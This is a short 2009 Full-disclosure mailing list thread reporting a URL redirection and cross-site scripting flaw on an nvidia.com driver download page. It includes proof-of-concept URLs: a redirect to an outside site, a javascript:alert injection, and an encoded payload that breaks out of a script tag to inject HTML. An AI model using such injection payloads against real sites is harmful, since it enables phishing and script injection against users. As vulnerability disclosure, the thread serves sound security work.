[Full-disclosure] nVidia.com [Url Redirection flaw]

[Jan G.B.]

2009/3/24 ascii <ascii at ush.it>:
> Pete Licoln wrote:
>> It's just a browser based Js redirection....
>>
> http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=http://whatismyip.com
>
> and what makes it worst than an http redirection?
>
> http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=javascript:alert(document.domain);
>

Even special characters like quotes and <> are not escaped. The worst
redirect ever ;)

http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=%22%3E%3C/script%3E%3Cbody%3E%3Ch1%3EActually%20this%20IS%20serious%3C/h1%3E%20%3Cscript%20x=%22

Anyone informed nvidia?